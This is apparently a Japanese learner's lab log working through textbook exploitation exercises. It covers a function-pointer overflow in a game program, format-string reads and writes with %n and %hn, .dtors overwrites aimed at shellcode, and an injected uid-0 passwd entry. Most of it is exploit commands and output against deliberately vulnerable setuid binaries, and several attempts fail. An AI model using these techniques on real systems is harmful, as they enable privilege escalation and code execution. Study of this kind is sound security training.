saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd
書き換えに成功
0x342: 関数ポインタのオーバーフロー
# cd ../0x200/
# gcc -g -o game_of_chance game_of_chance.c
# ./game_of_chance
-=-={ 新規プレイヤーの登録 }=-=-
ユーザ名を入力してください: hayashier
hayashierさん、運試しゲームにようこそ!
あなたには100クレジットが与えられます。
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 100 クレジットあります。] -> 1
[DEBUG] current_game pointer @ 0x08048f78
####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!
あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 3
当たり数字は14です。
残念でした。はずれです。
手元には 90 クレジットあります。
もう一度やってみますか? (y/n) -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 90 クレジットあります。] -> 7
遊んでいただき、ありがとうございました。 それではまた!
# gcc -g game_of_chance.c
# gdb -q ./a.out
Reading symbols from /home/centos/Hacking/0x200/a.out...done.
(gdb) break main
Breakpoint 1 at 0x804879e: file game_of_chance.c, line 41.
(gdb) run
Starting program: /home/centos/Hacking/0x200/a.out
Breakpoint 1, main () at game_of_chance.c:41
41 srand(time(0)); // 乱数発生器に種として現在時刻を与える。
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) p player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0}
(gdb) x.x &player.name
A syntax error in expression, near `.x &player.name'.
(gdb) x/x &player.name
0x804ba4c <player+12>: 0x00000000
(gdb) x/x &player.current_game
0x804bab0 <player+112>: 0x00000000
(gdb) p 0x804bab0 - 0x804ba4c
$2 = 100
(gdb) quit
A debugging session is active.
Inferior 1 [process 15310] will be killed.
Quit anyway? (y or n) y
# perl -e 'print "A"x100 . "BBBB"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
# ./game_of_chance
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 50 クレジットあります。] -> 5
ユーザ名を変更します。
新しいユーザ名を入力してください: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
あなたのユーザ名は変更されました。
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[手元には 50 クレジットあります。] -> 1
[DEBUG] current_game pointer @ 0x42424242
???????ơ???????ȿ?Ǥ? (?????????) <- Segmentation faultが起きる
- 任意の関数に飛びたい。
- バイナリ中のシンボルはnmコマンドで調べられる。
- ここでは、jackpot()関数を呼び出さえれば、賭けに勝てる。 08048cf7 にある。
# nm game_of_chance
0804b8d8 d _DYNAMIC
0804b9a4 d _GLOBAL_OFFSET_TABLE_
0804961c R _IO_stdin_used
w _Jv_RegisterClasses
0804b8c8 d __CTOR_END__
0804b8c4 d __CTOR_LIST__
0804b8d0 D __DTOR_END__
0804b8cc d __DTOR_LIST__
0804a8c0 r __FRAME_END__
0804b8d4 d __JCR_END__
0804b8d4 d __JCR_LIST__
0804ba04 A __bss_start
0804ba00 D __data_start
080495d0 t __do_global_ctors_aux
08048690 t __do_global_dtors_aux
08049620 R __dso_handle
w __gmon_start__
080495ca T __i686.get_pc_thunk.bx
0804b8c4 d __init_array_end
0804b8c4 d __init_array_start
U __isoc99_scanf@@GLIBC_2.7
08049560 T __libc_csu_fini
08049570 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804ba04 A _edata
0804bab4 A _end
080495fc T _fini
08049618 R _fp_hw
080484d4 T _init
08048660 T _start
U close@@GLIBC_2.0
0804ba20 b completed.5974
0804ba00 W data_start
08049074 T dealer_no_match
0804ba24 b dtor_idx.5976
0804876a T ec_malloc
U exit@@GLIBC_2.0
08048714 T fatal
0804922d T find_the_ace
080486f0 t frame_dummy
08048973 T get_player_data
U getuid@@GLIBC_2.0
08048d24 T input_name
08048cf7 T jackpot
08048795 T main
U malloc@@GLIBC_2.0
U memcpy@@GLIBC_2.0
U open@@GLIBC_2.0
U perror@@GLIBC_2.0
08048f78 T pick_a_number
08048ebb T play_the_game
0804ba40 B player
08048d86 T print_cards
U printf@@GLIBC_2.0
U putchar@@GLIBC_2.0
U puts@@GLIBC_2.0
U rand@@GLIBC_2.0
U read@@GLIBC_2.0
08048a43 T register_new_player
08048c09 T show_highscore
U srand@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U strncat@@GLIBC_2.0
08048e2e T take_wager
U time@@GLIBC_2.0
08048b0a T update_player_data
U write@@GLIBC_2.0
perlでさっきのゲームを自動化で、勝負して終了する流れを作成
# perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 50 クレジットあります。] ->
[DEBUG] current_game pointer @ 0x08048f78
####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!
あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 当たり数字は8です。
残念でした。はずれです。
手元には 40 クレジットあります。
もう一度やってみますか? (y/n) -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 40 クレジットあります。] ->
遊んでいただき、ありがとうございました。 それではまた!
jackpot()関数を呼び出すように先程のアドレスを指定。
# perl -e 'print "1\n5\nn\n5\n" . "A" x100 . "\xf7\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 40 クレジットあります。] ->
[DEBUG] current_game pointer @ 0x08048f78
####### 数字選びゲーム ######
このゲームをするには10クレジットが必要となります。ルールは
1から20までの数字を選ぶだけです。見事に当てることができた場合、
ジャックポットとなり100クレジットが返ってきます!
あなたのアカウントから10クレジットを徴収しました。
1から20までの数字を選んでください: 当たり数字は18です。
残念でした。はずれです。
手元には 30 クレジットあります。
もう一度やってみますか? (y/n) -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: hayashier]
[手元には 30 クレジットあります。] ->
ユーザ名を変更します。
新しいユーザ名を入力してください: あなたのユーザ名は変更されました。
-=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?]
[手元には 30 クレジットあります。] ->
[DEBUG] current_game pointer @ 0x08048cf7
*+*+*+*+*+* ジャックポット *+*+*+*+*+*
あなたは100クレジットのジャックポットを引き当てました!
手元には 130 クレジットあります。
もう一度やってみますか? (y/n) -=[ 運試しゲーム:メニュー ]=-
1 - 数字選びゲームを行う
2 - 数字よけゲームを行う
3 - エースを探せゲームを行う
4 - 現在のハイスコアを見る
5 - ユーザ名を変更する
6 - 持ち金を100クレジットにリセットする
7 - 終了する
[名前: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?]
[手元には 130 クレジットあります。] ->
遊んでいただき、ありがとうございました。 それではまた!
0x350: フォーマット文字列
0x352: フォーマットパラメータ
# cd ../0x300/
# gcc fmt_uncommon.c
# ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at bfa53dd8. B is 7.
# sed -e 's/. B)/)/' fmt_uncommon.c > fmt_uncommon2.c
# diff fmt_uncommon.c fmt_uncommon2.c
15c15
< printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
---
> printf("A is %d and is at %08x. B is %x.\n", A, &A);
# gcc fmt_uncommon2.c
# ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at bff7c5c8. B is d90ff4.
0x353: 任意のメモリアドレスから読み込みを行う
これも実行できず
# gcc -o fmt_vuln fmt_vuln.c
# chown root:root ./fmt_vuln
# chmod u+s ./fmt_vuln
# ./fmt_vuln testing
ユーザによって入力されたテキストを出力する正しい方法:
testing
ユーザによって入力されたテキストを出力する誤った方法:
testing
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln testing%x
ユーザによって入力されたテキストを出力する正しい方法:
testing%x
ユーザによって入力されたテキストを出力する誤った方法:
testingbf8bd0d0
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln $(perl -e 'print "%08x."x40')
ユーザによって入力されたテキストを出力する正しい方法:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
ユーザによって入力されたテキストを出力する誤った方法:
bf901260.00000000.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# printf "\x25\x30\x38\x78"
%08x
# ./fmt_vuln AAAA%08x.%08x.%08x.%08x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%08x.%08x.%08x.%08x
ユーザによって入力されたテキストを出力する誤った方法:
AAAAbfc64e20.00000000.00000000.41414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln AAAA%08x.%08x.%08x.%08s
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%08x.%08x.%08x.%08s
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)
[root@ip-172-31-25-205 0x300]
なぜかsegmentation faultで実行できず。。
# env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin
# gcc -o getenvaddr getenvaddr.c
# ./getenvaddr PATH ./fmt_vuln
PATH : 0xbfab4e65
# ./fmt_vuln $(printf "\x65\x4e\xab\xbf")%08x.%08x.%08x.%s
ユーザによって入力されたテキストを出力する正しい方法:
eN??%08x.%08x.%08x.%s
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)
0x354: 任意のメモリアドレスに書き込みを行う
フィールド幅を指定することで、%nフォーマットパラメータの直前前に出力されるバイト数を制御できるようになる。しかし、小さい数値の場合のときのみ。
%nは、何も出力せずに、引数が指しているメモリに、フォーマットマットパラメータに遭遇すると、該当関数呼び出しで%nフォーマットパラメータの直前までに出力したバイト数を書き込み
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%100x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%100x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfb5ecf00 0
[*] test_val @ 0x080498c0 = 113 0x00000071
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%101x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%101x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bffaa2400 0
[*] test_val @ 0x080498c0 = 114 0x00000072
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%400x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%400x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfe596100 0
[*] test_val @ 0x080498c0 = 413 0x0000019d
8はとりあえず、決めたフォーマット幅。その結果、test_valは21という値。
フィールド幅を157にすることでtest_valの値を0xaaにすることができる。
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%8x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%8x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfbdabd00 0
[*] test_val @ 0x080498c0 = 21 0x00000015
[root@ip-172-31-25-205 0x300]# gdb -q
(gdb) p 0xaa - 21 + 8
$1 = 157
(gdb) quit
[root@ip-172-31-25-205 0x300]# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%157x%n
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%157x%n
ユーザによって入力されたテキストを出力する誤った方法:
?bfaff3300 0
[*] test_val @ 0x080498c0 = 170 0x000000aa
0xddccbbaaという値をtest_valに書き込みたい。
0xaaを書き込んだ0x080498c0の直後に0xbbを書き込もうとするもうまく行かず。
書き込む文字列0xaaでなくても4バイトであればなんでもよい。
Segmentation faultになる。
# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%8x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNKJUNKØ%x%x%8x%n
ユーザによって入力されたテキストを出力する誤った方法:
?JUNK??JUNKJUNKØbfc637f00 0
[*] test_val @ 0x080498c0 = 42 0x0000002a
# gdb -q --batch -ex "p 0xaa - 42 + 8"
$1 = 136
# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%136x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNKJUNKØ%x%x%136x%n
ユーザによって入力されたテキストを出力する誤った方法:
?JUNK??JUNKJUNKØbfc744100 0
[*] test_val @ 0x080498c0 = 170 0x000000aa
[root@ip-172-31-25-205 0x300]# gdb -q --batch -ex "p 0xbb - 0xaa"
$1 = 17
# ./fmt_vuln $(printf "\xc0\x98\x04\x08JUNK\xc1\x98\x04\x0JUNK\xc2\x98\x04\x0JUNK\xc3\x98\x04\x0")%x%x%136x%n%17x%n
ユーザによって入力されたテキストを出力する正しい方法:
?JUNK??JUNKJUNKØ%x%x%136x%n%17x%n
ユーザによって入力されたテキストを出力する誤った方法:
???????ơ???????ȿ?Ǥ? (?????????)
もし、0xddccbbaaの例のように0xdd,0xcc,0xbb,0xaaのように順番に値が大きくならない場合、0x0806abcdのような場合、1つ繰り上げをして計算をする。
# gdb -q --batch -ex "p 0xab - 0xcd"
$1 = -34
# gdb -q --batch -ex "p 0x1ab - 0xcd"
$1 = 222
0x355: ダイレクトパラメータアクセス
先に解説した脆弱性攻撃
- フォーマットパラメータを正しい順序で指定しておく必要
- 複数の%xフォーマットパラメータを使って、フォーマット文字列の先頭までに存在する不必要なデータをスキップする必要があった
- 特定のメモリ上に思い通りの値を書き込むため、%xフォーマットパラメータを使って出カバイト数を制御する必要
- このため、JUNKという4バイトのデータを3ヶ所に配置しておく必要もありました。
ダイレクトパラメータアクセスで引数に直接アクセスできるようになる
C言語で、以下のように記述。
printf("7番目: %7$d, 4番目: %4$05d\n",10,20,30,40,50,60,70,80);
シェルでは、バックスラッシュは特殊な意味を持つためエスケープ
%xを並べて複数書く必要はない。
# ./fmt_vuln AAAA%x%x%x%x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%x%x%x%x
ユーザによって入力されたテキストを出力する誤った方法:
AAAAbfc575e00041414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8
# ./fmt_vuln AAAA%4\$x
ユーザによって入力されたテキストを出力する正しい方法:
AAAA%4$x
ユーザによって入力されたテキストを出力する誤った方法:
AAAA41414141
[*] test_val @ 0x080498c0 = -72 0xffffffb8
複数のアドレスにアクセスする場合、"JUNK"のようなアドレス間の4バイトの文字列も必要なくなるはずだったが、例のごとくうまくいかない。
# ./fmt_vuln $(printf "\xc0\x98\x04\x08\xc1\x98\x04\x0\xc2\x98\x04\x0\xc3\x98\x04\x0")%4\$n
ユーザによって入力されたテキストを出力する正しい方法:
???Ø%4$n
ユーザによって入力されたテキストを出力する誤った方法:
???Ø
[*] test_val @ 0x080498c0 = 13 0x0000000d
# gdb -q
(gdb) print 0x72 - 13
$1 = 101
(gdb) p 0xfd - 0x72
$2 = 139
(gdb) p 0xff - 0xfd
$3 = 2
(gdb) p 0xbf - 0xff
$4 = -64
(gdb) p 0x1bf - 0xff
$5 = 192
(gdb) quit
# ./fmt_vuln $(printf "\xc0\x98\x04\x08\xc1\x98\x04\x0\xc2\x98\x04\x0\xc3\x98\x04\x0")%101x%4\$n%139x%5\$n
ユーザによって入力されたテキストを出力する正しい方法:
???Ø%101x%4$n%139x%5$n
ユーザによって入力されたテキストを出力する誤った方法:
Segmentation fault (core dumped)
0x356: ショートライトを使用する
ショートとは、2バイトのワードを指し、フォーマットパラメータのものを利用
$ man 3 printf
The length modifier
Here, "integer conversion" stands for d, i, o, u, x, or X conversion.
hh A following integer conversion corresponds to a signed char or
unsigned char argument, or a following n conversion corresponds to
a pointer to a signed char argument.
h A following integer conversion corresponds to a short int or
unsigned short int argument, or a following n conversion corre-
sponds to a pointer to a short int argument.
# ./fmt_vuln $(printf "\xc0\x98\x04\x08")%x%x%x%hn
ユーザによって入力されたテキストを出力する正しい方法:
?%x%x%x%hn
ユーザによって入力されたテキストを出力する誤った方法:
?bf9567b000
[*] test_val @ 0x080498c0 = -65522 0xffff000e
# ./fmt_vuln $(printf "\xc2\x98\x04\x08")%x%x%x%hn
ユーザによって入力されたテキストを出力する正しい方法:
%x%x%x%hn
ユーザによって入力されたテキストを出力する誤った方法:
bfe060b000
[*] test_val @ 0x080498c0 = 982968 0x000effb8
ショートワードの修飾子を用いることで、2バイトの短整数を一度に書き込めるようになる。
# ./fmt_vuln $(printf "\xc2\x98\x04\x08")%4\$hn
ユーザによって入力されたテキストを出力する正しい方法:
%4$hn
ユーザによって入力されたテキストを出力する誤った方法:
[*] test_val @ 0x080498c0 = 327608 0x0004ffb8
# gdb -q
(gdb) p 0xfd72 - 8 <- 4バイト全体を2つの%hnパラm−得た
$1 = 64874
(gdb) p 0xbfff - 0xfd72
$2 = -15731
(gdb) p 0x1bfff - 0xfd72
$3 = 49805
(gdb) quit
./fmt_vuln $(printf "\xc2\x98\x04\x08")%64874x%4\$hn%49805x%5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
%64874x%4$hn%49805x%5$hn
ユーザによって入力されたテキストを出力する誤った方法:
:
:
:
bfac2660
:
:
Segmentation fault (core dumped)
0x357: .dtorsを狙った攻撃
GNU Cコンパイラでコンパイルされたバイナリプログラムには、 デストラクタとコンストラクタのために用意されたdtorsとctorsという特殊なテーブルセクションがある。
# cat dtors_sample.c
#include <stdio.h>
#include <stdlib.h>
static void cleanup(void) __attribute__ ((destructor));
main()
{
printf("main() 関数内で処理を行い、、\n");
printf("その後、main() の終了時にデストラクタが呼び出される。\n");
exit(0);
}
void cleanup(void)
{
printf("後始末関数の処理中、、、\n");
}
# gcc -o dtors_sample dtors_sample.c
# ./dtors_sample
main() 関数内で処理を行い、、
その後、main() の終了時にデストラクタが呼び出される。
後始末関数の処理中、、、
}
# nm ./dtors_sample
08049650 d _DYNAMIC
0804971c d _GLOBAL_OFFSET_TABLE_
080484ec R _IO_stdin_used
w _Jv_RegisterClasses
0804963c d __CTOR_END__
08049638 d __CTOR_LIST__
08049648 D __DTOR_END__
08049640 d __DTOR_LIST__
08048634 r __FRAME_END__
0804964c d __JCR_END__
0804964c d __JCR_LIST__
0804973c A __bss_start
08049738 D __data_start
080484a0 t __do_global_ctors_aux
08048360 t __do_global_dtors_aux
080484f0 R __dso_handle
w __gmon_start__
0804849a T __i686.get_pc_thunk.bx
08049638 d __init_array_end
08049638 d __init_array_start
08048430 T __libc_csu_fini
08048440 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804973c A _edata
08049744 A _end
080484cc T _fini
080484e8 R _fp_hw
080482b0 T _init
08048330 T _start
08048411 t cleanup
0804973c b completed.5974
08049738 W data_start
08049740 b dtor_idx.5976
U exit@@GLIBC_2.0
080483c0 t frame_dummy
080483e4 T main
U puts@@GLIBC_2.0
# objdump -s -j .dtors ./dtors_sample
./dtors_sample: file format elf32-i386
Contents of section .dtors:
8049640 ffffffff 11840408 00000000 ............
.dtorsセクションにはREADONLYラベルがついていないため、書き込み可能セクションということになる。
# objdump -h ./dtors_sample
./dtors_sample: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048134 08048134 00000134 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000020 0804818c 0804818c 0000018c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000060 080481ac 080481ac 000001ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 0000004f 0804820c 0804820c 0000020c 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 0804825c 0804825c 0000025c 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 08048268 08048268 00000268 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000008 08048288 08048288 00000288 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000020 08048290 08048290 00000290 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000030 080482b0 080482b0 000002b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000050 080482e0 080482e0 000002e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .text 0000019c 08048330 08048330 00000330 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .fini 0000001c 080484cc 080484cc 000004cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata 000000ad 080484e8 080484e8 000004e8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame_hdr 00000024 08048598 08048598 00000598 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 0000007c 080485bc 080485bc 000005bc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .ctors 00000008 08049638 08049638 00000638 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 0000000c 08049640 08049640 00000640 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 0804964c 0804964c 0000064c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000c8 08049650 08049650 00000650 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049718 08049718 00000718 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 0804971c 0804971c 0000071c 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000004 08049738 08049738 00000738 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000008 0804973c 0804973c 0000073c 2**2
ALLOC
25 .comment 0000002d 00000000 00000000 0000073c 2**0
CONTENTS, READONLY
GNU Cコンパイラは、デストラクタ属性を宣言した関数の有無に関係なく.dtorsセクションを作成するようになっている。
# nm ./fmt_vuln | grep DTOR
080497c0 D __DTOR_END__
080497bc d __DTOR_LIST__
[root@ip-172-31-25-205 0x300]# objdump -s -j .dtors ./fmt_vuln
./fmt_vuln: file format elf32-i386
Contents of section .dtors:
80497bc ffffffff 00000000 ........
やはりシェルは取れない
# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE : 0xbf9137cc
# gdb -q
(gdb) p 0xbf91 - 8
$1 = 49033
(gdb) p 0x37cc - 0xbf91
$2 = -34757
(gdb) p 0x137cc - 0xbf91
$3 = 30779
(gdb) quit
# ./fmt_vuln $(printf "\xbc\x97\x04\x08\xc0\x97\x04\x08")%49033x%4\$hn%30779x%5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
??%49033x%4$hn%30779x%5$hn
ユーザによって入力されたテキストを出力する誤った方法:
??
:
:
bfdcdef0
:
:
0
[*] test_val @ 0x080498c0 = -72 0xffffffb8
0x358: notesearchのさらなる脆弱性
notesearch.cのprint_notes()関数中で呼び出されるprintf()関数
// 特定のユーザでオプショナルの検索文字列に適合するメモを
// 表示する関数;
// ファイルの終端に到達した場合には0、まだメモがある場合には1を返す。
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // ファイルの終端に到達した場合、
return 0; // 0を返す。
read(fd, note_buffer, note_length); // メモのデータを読み込む。
note_buffer[note_length] = 0; // 文字列を終了させる。
if(search_note(note_buffer, searchstring)) // 検索文字列が見つかった場合、
printf(note_buffer); // メモを出力する。
return 1;
}
# ./notetaker AAAA$(perl -e 'print "%x."x10')
[DEBUG] buffer @ 0x8567008: 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.'
[DEBUG] datafile @ 0x8567070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch AAAA
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
AAAAbfdac790.23.0.b7726680.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.
-------[ メモの終わり ]-------
[root@ip-172-31-25-205 0x300]# ./notetaker BBBB%8\$x
[DEBUG] buffer @ 0x95b4008: 'BBBB%8$x'
[DEBUG] datafile @ 0x95b4070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch BBBB
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
[DEBUG] uid 0の9バイトのメモを見つけました。
BBBB2e78252e
-------[ メモの終わり ]-------
# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./notesearch
SHELLCODE : 0xbfd987c8
# gdb -q
(gdb) p 0xbfd9 - 8
$1 = 49105
(gdb) p 0x87c8 - 0xbfd9
$2 = -14353
(gdb) p 0x187c8 - 0xbfd9
$3 = 51183
(gdb) quit
# nm ./notesearch | grep DTOR
08049c0c D __DTOR_END__
08049c08 d __DTOR_LIST__
